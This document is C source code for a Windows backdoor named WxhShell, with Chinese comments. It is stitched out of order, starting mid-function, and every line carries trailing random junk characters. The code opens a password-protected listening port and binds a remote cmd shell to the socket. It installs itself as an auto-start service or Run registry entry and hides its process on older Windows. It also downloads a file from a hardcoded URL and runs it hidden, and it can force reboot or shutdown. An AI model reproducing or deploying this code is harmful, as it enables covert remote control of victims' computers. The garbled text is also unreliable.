    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); dp2".  
    if(Boot(SHUTDOWN)) bK("8T\?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S53 [Ja  
    else { _>A])B ^  
    closesocket(wsh); }k<b)I*A  
    ExitThread(0); 4I^6[{_  
    } F)_Rs5V:(  
    break; Ajq;\- :  
    } t22BO@gt74  
  // 获取shell n`68<ybl5  
  case 's': { kd'qYh  
    CmdShell(wsh); .^dj B x  
    closesocket(wsh); j>?H^fB  
    ExitThread(0); $}OU~d1q  
    break; 0c7&J?"wE  
  } f;pR8  
  // 退出 ~?-U J^#  
  case 'x': { {*t'h?b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fm,A<+l@u  
    CloseIt(wsh); xwT"Q=|kW  
    break; @OFl^U0/  
    } Ua V9T:)x  
  // 离开 Nf0b?jn-  
  case 'q': { /n?5J`6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); **-%5 ~  
    closesocket(wsh); ?$;_a%v6  
    WSACleanup(); cGsxfwD  
    exit(1); \ fU{$  
    break; x7Ly,  
        } zmf5!77  
  } A>OL5TCl  
  } xJ>hN@5}i  
c 2?(.UV  
  // 提示信息 52l|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YcRjbF,|6  
} ?8! 4!P%n  
  } '/;#{("  
*-_` xe  
  return; ):LJ {.0R  
} IDE@{Dy  
>V87#E  
// shell模块句柄 -&))$h3o\  
int CmdShell(SOCKET sock) >S5D-)VX  
{ YV{^S6M  
STARTUPINFO si; p5)A"p8"9,  
ZeroMemory(&si,sizeof(si)); y @Y@"y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0gO2^m)W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; mkj`z  
PROCESS_INFORMATION ProcessInfo; f>ED  
char cmdline[]="cmd"; yW|yZ(7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z O$SL8U  
  return 0; 8xg:ItJaA0  
} )5d&K8@  
+*)B;)P  
// 自身启动模式 )V)4N[?GC  
int StartFromService(void) Q`AJR$L  
{ 1xM&"p:  
typedef struct 4^70r9hV9  
{ N1P [&lR  
  DWORD ExitStatus; EW#.)@-  
  DWORD PebBaseAddress; N<Y-]xS  
  DWORD AffinityMask; &ks>.l\  
  DWORD BasePriority; }6C&N8 f  
  ULONG UniqueProcessId; NqhRJa63  
  ULONG InheritedFromUniqueProcessId; b*dRNu  
}   PROCESS_BASIC_INFORMATION; c 0!bn b  
q* Ns]f'a  
PROCNTQSIP NtQueryInformationProcess; Ha)w*1&w"  
|;rjr_I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $Xz9xzOR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; kc~Z1  
!p&M,6  
  HANDLE             hProcess; GsqrKrbJ  
  PROCESS_BASIC_INFORMATION pbi; ttZ!P:H2  
Ik;~u8j1e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,D ;`t  
  if(NULL == hInst ) return 0; ,589/xTA@  
z56W5g2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *tz"T-6O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'OBA nE<.  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); K{M_ 4'\  
E# e=<R  
  if (!NtQueryInformationProcess) return 0; ,E)bS7W  
&giJO-^ f  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $vGl Z<3g  
  if(!hProcess) return 0; #MGZje,I  
Qf>dfJ^q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *|euC"5c  
(X>r_4W$  
  CloseHandle(hProcess); ms;Lu- UR  
4"l(rg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "vU:qwm  
if(hProcess==NULL) return 0; cQ3Dk<GZ  
"~d)$]+  
HMODULE hMod; "-ZuH   
char procName[255]; v`y{l>r,  
unsigned long cbNeeded; Uy_`=JZ  
sHQe0"Eo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r^*,eF  
{_^sR}%]F  
  CloseHandle(hProcess); :l3Tt<  
*RxbqB-  
if(strstr(procName,"services")) return 1; // 以服务启动 G_j` 6v)  
^Y #?@  
  return 0; // 注册表启动 ^U~YG=!ww  
} LsV!Sd  
L8R|\Bx  
// 主模块 $D9JsUij  
int StartWxhshell(LPSTR lpCmdLine) X5>p~;[9  
{ 20%xD e  
  SOCKET wsl; Gtg; 6&2  
BOOL val=TRUE; zUwz[^d<C  
  int port=0; %I6iXq#  
  struct sockaddr_in door; & r\z9!   
Qo;$iLt  
  if(wscfg.ws_autoins) Install(); jew?cnRmd  
T=b5th}  
port=atoi(lpCmdLine); :kY][_  
qr<5z. %  
if(port<=0) port=wscfg.ws_port; Bj%{PK  
%\r4c*O1q  
  WSADATA data; $ZQPf  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #FuOTBNvB  
0_"J>rMp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U6.$F#n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dx Mz!  
  door.sin_family = AF_INET; ~73YOGiGJH  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '^7Sa  
  door.sin_port = htons(port); ?"qU.}kGL  
6wnfAli.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /:U\U_j  
closesocket(wsl); sFCoRH|"c  
return 1; lQ! 6n  
} !u\X,.h  
n~K_|  
  if(listen(wsl,2) == INVALID_SOCKET) { YM1@B`yWE  
closesocket(wsl); s{IycTbz  
return 1; )5&w  
} s|EP/=9i  
  Wxhshell(wsl); EkOBI[`  
  WSACleanup(); nBGk%NM 8  
h7*fjw-Xz[  
return 0; Dyt}"r\  
(MNbABZQ  
} 5^0W\  
9O@ eJ$  
// 以NT服务方式启动 O]^E%;(]}i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (hd2&mSy  
{ QabF(}61  
DWORD   status = 0; fS!%qr  
  DWORD   specificError = 0xfffffff; #\t?`\L3  
%G\rL.H|  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zbi[r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dk{yx(Ty  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ->K*r\T  
  serviceStatus.dwWin32ExitCode     = 0; 4V<s"  
  serviceStatus.dwServiceSpecificExitCode = 0; `+]4C+w  
  serviceStatus.dwCheckPoint       = 0; rC/m}`b  
  serviceStatus.dwWaitHint       = 0; ]_F%{8|  
wCn W]<+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~p8-#A)X,)  
  if (hServiceStatusHandle==0) return; L6 hTz'  
&IOChQ`8P  
status = GetLastError(); Z4E:Z}~''  
  if (status!=NO_ERROR) _?O'65  
{ DFR.F:O%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a{Tv#P*!  
    serviceStatus.dwCheckPoint       = 0; WBTX~%*U  
    serviceStatus.dwWaitHint       = 0; `sJkOEc`  
    serviceStatus.dwWin32ExitCode     = status; ?L{[84GSO  
    serviceStatus.dwServiceSpecificExitCode = specificError; hQ8/-#LO_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wl::tgU  
    return; P) GBuW  
  } \t^q@}~0Wz  
kQ{pFFO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,}`II|.oB  
  serviceStatus.dwCheckPoint       = 0; I^\YD9~=x  
  serviceStatus.dwWaitHint       = 0; ] hL 1qS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "'II~/9  
} \f@PEiARG7  
1 ljgq]($  
// 处理NT服务事件,比如:启动、停止 HtmJIH:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) oACuI|b  
{ JBi<TDm/  
switch(fdwControl) b_\aSEaTT  
{ (j}"1  
case SERVICE_CONTROL_STOP: K~v"%sG{`  
  serviceStatus.dwWin32ExitCode = 0; *4]I#N  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yv4hH4Io  
  serviceStatus.dwCheckPoint   = 0; ldi'@^  
  serviceStatus.dwWaitHint     = 0; VEo>uR  
  { R}>Gk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;se-IDN  
  } M/ R#f9W  
  return; X#gZgz ='  
case SERVICE_CONTROL_PAUSE: nmS3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h"]v+u`!SM  
  break; ykX}T6T  
case SERVICE_CONTROL_CONTINUE: ~A [ Ju%R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bWUo(B#*I  
  break; ]W-:-.prh  
case SERVICE_CONTROL_INTERROGATE: Zp l?zI  
  break; & UL(r  
}; [ o3}K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KuE 2a,E4  
} 'UW7zL5  
VA4_>6  
// 标准应用程序主函数 C37KvLQ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wgzjuTqwBF  
{ Dr,{V6^  
Fgt/A#`fz  
// 获取操作系统版本 8Z FPs/HP  
OsIsNt=GetOsVer(); /Q})%j1S0  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $*L@y m  
J3y5R1?EP  
  // 从命令行安装 B.0(}@  
  if(strpbrk(lpCmdLine,"iI")) Install(); yxLGseD  
r?[PIf  
  // 下载执行文件 '1^\^)&q  
if(wscfg.ws_downexe) { Q5{i#F7nJm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C4TJS,!1rH  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7cY_=X-?Y  
} :}e*3={4  
T~=NY,n  
if(!OsIsNt) { u{tjB/K&  
// 如果时win9x,隐藏进程并且设置为注册表启动 .2[>SI  
HideProc(); ) dwPD  
StartWxhshell(lpCmdLine); %HwPOEJ  
} 76mQ$ze  
else 1MX:^L!f8  
  if(StartFromService()) HQ ^> ~  
  // 以服务方式启动 2EycFjO  
  StartServiceCtrlDispatcher(DispatchTable); pkjL2U:  
else mS&[<[x  
  // 普通方式启动 }qi6K-,oU  
  StartWxhshell(lpCmdLine); #CHsH{d  
[[oX$0Fp\!  
return 0; =>4>Z_q  
} G@ BrU q  
l3b$b%0'  
k]ptk^  
.kBi" p&  
=========================================== @,pO%,E6  
6wIv7@Y  
kHm1aE<  
Xv9kJ  
9 )e`mO*n  
9%> H}7=  
" &}YB!6k h^  
)=[K$>0k  
#include <stdio.h> (s,Nq~O  
#include <string.h> c^Rz?2x  
#include <windows.h> ^md7ezXL  
#include <winsock2.h> (ZT*EFhb(  
#include <winsvc.h> ol:,02E&  
#include <urlmon.h> s80:.B  
z,I7 PY& G  
#pragma comment (lib, "Ws2_32.lib") "Yq-s$yBi  
#pragma comment (lib, "urlmon.lib") 2W$c%~j$2  
-gv@ .#N  
#define MAX_USER   100 // 最大客户端连接数 !94& Uk(O  
#define BUF_SOCK   200 // sock buffer {jJUS>  
#define KEY_BUFF   255 // 输入 buffer V-O49  
#xm<|s   
#define REBOOT     0   // 重启 Cdot l$'  
#define SHUTDOWN   1   // 关机 9IN =m 5  
 ^qy$M>  
#define DEF_PORT   5000 // 监听端口 n|yl3v  
1Jd82N\'  
#define REG_LEN     16   // 注册表键长度 1;080| ,s  
#define SVC_LEN     80   // NT服务名长度 xXp\U'Ad~~  
%pt ul_(s'  
// 从dll定义API ubj ~ULA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `m`jX|`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *x)WF;(]g  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); C W7E2 ^P$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WK:~2m&y  
lWd)(9K j  
// wxhshell配置信息 =}Bq"m  
struct WSCFG { DTl M}  
  int ws_port;         // 监听端口 L7wl3zG  
  char ws_passstr[REG_LEN]; // 口令 =LZj6'  
  int ws_autoins;       // 安装标记, 1=yes 0=no $_@~t$  
  char ws_regname[REG_LEN]; // 注册表键名 --Dw8FR9  
  char ws_svcname[REG_LEN]; // 服务名 0A9x9l9Wd  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }sd-X`lZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xAjLn*d|N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 L!3{ASIN0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^qIp+[/'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J,4]d u$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |.*),t3 (w  
gmj a2F,  
}; c zL[W2l   
zVGjXuNa  
// default Wxhshell configuration 42Tjbten_u  
struct WSCFG wscfg={DEF_PORT, zi:GvTG  
    "xuhuanlingzhe", \G#Qe*"'K  
    1, nyw,Fu  
    "Wxhshell", Zo-E0[9  
    "Wxhshell", ^.nvX{H8~=  
            "WxhShell Service", 7$8z}2  
    "Wrsky Windows CmdShell Service", ?*9U d  
    "Please Input Your Password: ", gD@ &/j7  
  1, q4xB`G  
  "http://www.wrsky.com/wxhshell.exe", 67<zBw2  
  "Wxhshell.exe" 4)]g=-3  
    }; Olj]A]v}  
n&r-  
// 消息定义模块 N#bWMZ"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (=QaAn,,R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7 I&7YhFI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {QM;%f  
char *msg_ws_ext="\n\rExit."; )>\J~{  
char *msg_ws_end="\n\rQuit."; &Sa<&2W4S  
char *msg_ws_boot="\n\rReboot..."; \Y Cj/tG8  
char *msg_ws_poff="\n\rShutdown..."; wkdd&Nw;  
char *msg_ws_down="\n\rSave to "; >#$( M5&}-  
awHfd5nRS  
char *msg_ws_err="\n\rErr!"; /A9Mv%zjk  
char *msg_ws_ok="\n\rOK!"; nbMH:UY,J  
Jk}L+X vv  
char ExeFile[MAX_PATH]; _-o*3gmbQ  
int nUser = 0;  +h9U V  
HANDLE handles[MAX_USER]; +&4PGv53J  
int OsIsNt; E,c~.jYc  
h:z;b;  
SERVICE_STATUS       serviceStatus; -E2[PW4$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J.$<Lnt>u  
7. G   
// 函数声明 Ua5m2&U1  
int Install(void); T!"<Kv]J  
int Uninstall(void); (|' w$  
int DownloadFile(char *sURL, SOCKET wsh); xp)#a_}  
int Boot(int flag); 8!VjXj"  
void HideProc(void); r[TS#hQ  
int GetOsVer(void); /I7sa* i  
int Wxhshell(SOCKET wsl); T9t9])  
void TalkWithClient(void *cs); q[M7)-  
int CmdShell(SOCKET sock); @7u4v%,wB  
int StartFromService(void); Jtd@8fVi  
int StartWxhshell(LPSTR lpCmdLine); jm.pb/  
.x(&-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C: kl/9M@  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ` eND3c  
"*RCV6{  
// 数据结构和表定义 l YH={jJ  
SERVICE_TABLE_ENTRY DispatchTable[] = ]1)@.b;QR  
{ \#LKsQa  
{wscfg.ws_svcname, NTServiceMain}, ,*E%D _  
{NULL, NULL} J}._v\Q7P  
}; @tEVgyN  
,H22;UV9  
// 自我安装 vEtogkFA"  
int Install(void) qt^%jIv  
{ $C9<{zX   
  char svExeFile[MAX_PATH]; Co[[6pt~  
  HKEY key; #xW%RF  
  strcpy(svExeFile,ExeFile); 3[SN[faS  
~-']Q0Z  
// 如果是win9x系统,修改注册表设为自启动 iV'-j,-i  
if(!OsIsNt) { **! lV]/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +GP"9S2%R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X-:Ni_O\ty  
  RegCloseKey(key); M\\TQ(B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2Mu-c:1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k5!k3yI  
  RegCloseKey(key); e&; c^Z  
  return 0; EOtrrfT&  
    } Pk8L- [&v  
  } 2*K0~ b`  
} 0qG[hxt%  
else { ^>%=/RX  
}K<;ygcWE@  
// 如果是NT以上系统,安装为系统服务 ?=r!b{9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5CU< ?  
if (schSCManager!=0) A'[A!NL%  
{ R^1= :<)C  
  SC_HANDLE schService = CreateService OiM{@  
  ( ;2L=WR%  
  schSCManager, qhK;#<#  
  wscfg.ws_svcname, ^z[s;:-  
  wscfg.ws_svcdisp, \RQ5$!O  
  SERVICE_ALL_ACCESS, 3-o ]H'6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JGj_{|=:  
  SERVICE_AUTO_START, ~{^A&#P  
  SERVICE_ERROR_NORMAL, 1 _5[5K^  
  svExeFile, C>T6{$xkC  
  NULL, <>j, Q  
  NULL, *zX<`E  
  NULL, =_^g]?5i  
  NULL, X){F^1CT{  
  NULL et9 c<'  
  ); hp,T(D|  
  if (schService!=0) g:[&]o} :9  
  { 2mU}"gf[  
  CloseServiceHandle(schService); 7DOAG[gH  
  CloseServiceHandle(schSCManager); Z: T4Z}4N  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZN1QTb  
  strcat(svExeFile,wscfg.ws_svcname); GExG1n-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5Qy,P kje  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f1=8I_>=  
  RegCloseKey(key); uUc[s"\  
  return 0; XJ?@l3D:  
    } +Kf::[wP7  
  } D|=QsWZI  
  CloseServiceHandle(schSCManager); 'O{hr0q}  
} k;LENB2iv  
} + s[(CI.b  
/)oxuk&}c  
return 1; DU 8)c$  
} (/@o7&>*50  
+S/8{2%?DG  
// 自我卸载 V 8n}"  
int Uninstall(void) p%3';7W\  
{ #(  kT  
  HKEY key; b]|7{yMV  
KpwUp5K  
if(!OsIsNt) { H.>KYiv+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ei}DA=:s  
  RegDeleteValue(key,wscfg.ws_regname); ?|s[/zPS=  
  RegCloseKey(key); xFpJ#S&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^xqh!  
  RegDeleteValue(key,wscfg.ws_regname); c#Y9L+O  
  RegCloseKey(key); 8V}c(2m  
  return 0; |ZZ3Qr+%S  
  } &Q&$J )0  
} )9<)mV*EB(  
} "UA W  
else { X(WG:FP27  
6?,r d   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~)ByARao=  
if (schSCManager!=0) rzl2Oj"4  
{ rtzxMCSEU  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pv0+`>):  
  if (schService!=0) (1Kh9w:^"  
  { M2oKLRt)L  
  if(DeleteService(schService)!=0) { c!841~p(Q  
  CloseServiceHandle(schService); /,:32H  
  CloseServiceHandle(schSCManager); ?^"S%Vb  
  return 0; 7gJy xQ  
  } 0;XnNz3&  
  CloseServiceHandle(schService); /1OhW>W3eH  
  } 7XwFO0==  
  CloseServiceHandle(schSCManager); UyF]gO  
} ]\_4r)cN<n  
} .0a$E`V=D  
#a .aD+d'  
return 1; #vDe/o+=  
} Q7Dkh KT  
CX1'B0=\r  
// 从指定url下载文件 'E7|L@X"r  
int DownloadFile(char *sURL, SOCKET wsh) |20p#]0E+  
{ LXK+WB/s  
  HRESULT hr; Sk1yend4  
char seps[]= "/"; V'6%G:?0a  
char *token; UhEnW8^bz1  
char *file; wEkW=  
char myURL[MAX_PATH]; 3b[_0  
char myFILE[MAX_PATH]; (JF\%Yj/  
7vHU49DV  
strcpy(myURL,sURL); =j}00,WH  
  token=strtok(myURL,seps); Ur@'X-  
  while(token!=NULL) FD`V39##  
  { IzL yn  
    file=token; sxuYwQ  
  token=strtok(NULL,seps); Z#Zk)  
  } zCco/]h  
TI*uNS;-  
GetCurrentDirectory(MAX_PATH,myFILE);  UnO -?  
strcat(myFILE, "\\"); 1$ l3-x  
strcat(myFILE, file); `Y(/G"]  
  send(wsh,myFILE,strlen(myFILE),0); ChBZGuO:  
send(wsh,"...",3,0); XS1>ti|<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /sYD+*a  
  if(hr==S_OK) qQ|v~^  
return 0; ey Cg *  
else F5*Xx g}N  
return 1; Rq\.RR](  
UCq+F96j  
} w-\GrxlbX  
J@)6]d/,  
// 系统电源模块 )9PQ j  
int Boot(int flag) VvPTL8Z  
{ \.*aC)  
  HANDLE hToken; lJKU^?4S8  
  TOKEN_PRIVILEGES tkp; &]ImO RN  
IRcZyry  
  if(OsIsNt) { :Tjo+vw7$H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xl<Cstr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "4ovMan  
    tkp.PrivilegeCount = 1; ^WVr@6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |#MA?oz3T  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JM!o(zbt  
if(flag==REBOOT) { ,I)/ V>u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?p}m[9@  
  return 0; X#p E!mT  
} 3|@Ske1%Y  
else { 8-po|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) PR.?"$!D{  
  return 0; %+`$Lb?{  
} XRaq\a`=:  
  } $_<,bC1[  
  else { QZd ,GY5{  
if(flag==REBOOT) { }b~ZpUL!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =m1B1St2  
  return 0; >-]Y%O;}  
} y&SueU=  
else { n32BHOVE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) L.erP* w  
  return 0; 'GNT'y_  
} [S*bN!t  
} d7l0;yR&+  
jMZ{>l.v  
return 1; r0hu?3u1?  
} xy[R9_V  
#,$d!l @  
// win9x进程隐藏模块 jtN2%w;  
void HideProc(void) RELLQpz3  
{ 8wwD\1pLS  
/(XtNtO*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $0{c =r9  
  if ( hKernel != NULL ) iGm[fxQ|  
  { k+%6 :r,r&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e6]u5;B r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 72Ft?;R  
    FreeLibrary(hKernel); N0/DPZX7  
  } ?mrG^TV^+r  
&|55:Y87  
return; 5H>[@_u+:  
} l*/I ; a$  
n Hy|  
// 获取操作系统版本 {3!v<CY'  
int GetOsVer(void) `|Tr"xavf  
{ k%Jw S_F  
  OSVERSIONINFO winfo; q]<cn2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gNN{WFHQX:  
  GetVersionEx(&winfo); \u2p]K>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aQw?r  
  return 1; mZ*!$P:vy"  
  else A=E1S{C  
  return 0;  s y#CR4X  
} Qnph?t>  
[,$] %|6wt  
// 客户端句柄模块 2et7Vw  
int Wxhshell(SOCKET wsl) MyAi)Mz~o  
{ =A04E  
  SOCKET wsh;  [v#t  
  struct sockaddr_in client; hQPiGIs  
  DWORD myID; XkOsnI8n  
d\D.l^  
  while(nUser<MAX_USER) quVTqhg"  
{ vt@.fT#e  
  int nSize=sizeof(client); : xB<Rq  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /J8y[aa  
  if(wsh==INVALID_SOCKET) return 1; 0Ocy$  
t%V!SvT8+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U c$RYPq  
if(handles[nUser]==0) Mb uD8B  
  closesocket(wsh); XeKIue@_  
else HTvA]-AuM  
  nUser++; 8( 7DW |\  
  } MAQkk%6[g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E"nIC,VZ  
`(.K|l}  
  return 0; PiP\T.XANa  
} oaM $<  
-6(C ^X%  
// 关闭 socket W{Ine> a'  
void CloseIt(SOCKET wsh) DHd9yP9-  
{ STL&ZO  
closesocket(wsh); O2-9Oo@#,  
nUser--; G!uoKiL  
ExitThread(0); 6ix8P;;}#  
} fOtL6/?  
8:|F'{<<b  
// 客户端请求句柄 AK} wSXF  
void TalkWithClient(void *cs) 6 `+dP"@  
{ 1c8 J yp  
V^As@P8,'(  
  SOCKET wsh=(SOCKET)cs; 5O%Q*\(  
  char pwd[SVC_LEN]; 6DD"Asi+  
  char cmd[KEY_BUFF]; nM>oG'm[n  
char chr[1]; :]v%6i.  
int i,j; sjvlnnO   
MOKg[ j  
  while (nUser < MAX_USER) { 0V@u]  
|^[]Oy=  
if(wscfg.ws_passstr) { 2I* 7?`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L Me{5H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J 6D?$  
  //ZeroMemory(pwd,KEY_BUFF); (i^{\zv  
      i=0; s=h  
  while(i<SVC_LEN) { '%vb&a!.6  
ryg1o=1v/  
  // 设置超时 bx_`S#*N  
  fd_set FdRead; NiQ`,Q$B  
  struct timeval TimeOut; ?| s1Cuc  
  FD_ZERO(&FdRead); Zui2O-L?V  
  FD_SET(wsh,&FdRead); I6,'o)l{_  
  TimeOut.tv_sec=8; l\I#^N  
  TimeOut.tv_usec=0; 4p\<b8(9>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *Fi`o_d9[`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); /'ccFm2  
O KVIl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KuL2X@)}  
  pwd=chr[0]; ^2rNty,nH  
  if(chr[0]==0xd || chr[0]==0xa) { M_<O'Ii3  
  pwd=0; meA=lg?  
  break; ,]+P#eXgE  
  } 4C\>JGZvq  
  i++; }(4U7Ac  
    } ]h3<r8D_#  
S='AA_jnw  
  // 如果是非法用户,关闭 socket rlEEf/m:  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o{f|==<t3#  
} -!f)P=S  
"l&=a1l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ) jv]Oz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TPH`{  
ViIt 'WX  
while(1) { $hZb<Xz  
`$vTGkGpY  
  ZeroMemory(cmd,KEY_BUFF); ~8L*N>Y  
osPJ%I`^  
      // 自动支持客户端 telnet标准   qpjtF'  
  j=0; aw&:$twbM  
  while(j<KEY_BUFF) { :8\!;!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,K'>s<}  
  cmd[j]=chr[0]; y !)  
  if(chr[0]==0xa || chr[0]==0xd) { rf^ Q%ds  
  cmd[j]=0; @ *P$4c  
  break; %{ WZ  
  } +[C dd{2  
  j++; v]SHude{  
    } K<TVp;N  
WDQtj$e+  
  // 下载文件 #RT}-H  
  if(strstr(cmd,"http://")) { =@q 9,H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q<Gn@xc'  
  if(DownloadFile(cmd,wsh)) e=ZwhRP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J6J[\  
  else bL soKe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); onL&lE  
  } D1]%2:  
  else { BB@I|)9O(  
